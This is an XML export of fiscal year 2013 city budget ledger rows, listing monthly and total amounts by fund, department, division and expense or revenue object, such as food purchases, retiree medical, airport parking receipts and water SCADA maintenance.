<row _id="2039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="2040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24036.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>240</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24276.0</total></row>
<row _id="2041"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4887.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>49</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4936.0</total></row>
<row _id="2042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>685.0</total></row>
<row _id="2043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="2044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1738.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="2045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="2046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="2047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
<row _id="2048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401007.0</object><object_description>SWIM CENTER-SEMI-PRIVATE LESSO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1530.0</total></row>
<row _id="2052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>630.0</total></row>
<row _id="2053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-45256.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45256.0</total></row>
<row _id="2054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1566.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>157</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1723.0</total></row>
<row _id="2055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13057.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1395</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14452.0</total></row>
<row _id="2056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402163.0</object><object_description>PARKING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-46100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-46100.0</total></row>
<row _id="2057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>121418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-8061</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>113357.0</total></row>
<row _id="2058"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-6</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>570.0</total></row>
<row _id="2059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11433.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11433.0</total></row>
<row _id="2060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13015.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13015.0</total></row>
<row _id="2061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4029.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4029.0</total></row>
<row _id="2062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="2063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6426.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6426.0</total></row>
<row _id="2064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39780.0</total></row>
<row _id="2065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3672.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3672.0</total></row>
<row _id="2066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9006.0</total></row>
<row _id="2067"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1465799.0</july><august>0</august><september>0.0</september><october>-65042.0</october><november>0</november><december>0</december><january>0.0</january><february>14008</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1414765.0</total></row>
<row _id="2068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>269950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-38500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>231450.0</total></row>
<row _id="2069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9438.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9438.0</total></row>
<row _id="2070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-POLICE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>101353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101353.0</total></row>
<row _id="2071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32780.0</total></row>
<row _id="2072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="2073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8951.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8951.0</total></row>
<row _id="2074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404082.0</object><object_description>INTEREST - PROP 1B-BUSES</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-43000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-43000.0</total></row>
<row _id="2075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407930.0</object><object_description>GARDENSOFT WEBSITE PARTNR FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7500.0</total></row>
<row _id="2076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="2077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="2078"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="2079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="2081"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2142.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2142.0</total></row>
<row _id="2082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>402450.0</object><object_description>DWR RAIN HARVEST REBATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-45012.37</march><april>0</april><may>0</may><june>0.0</june><total>-50012.37</total></row>
<row _id="2084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>66061.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>66061.0</total></row>
<row _id="2085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1530.0</total></row>
<row _id="2086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
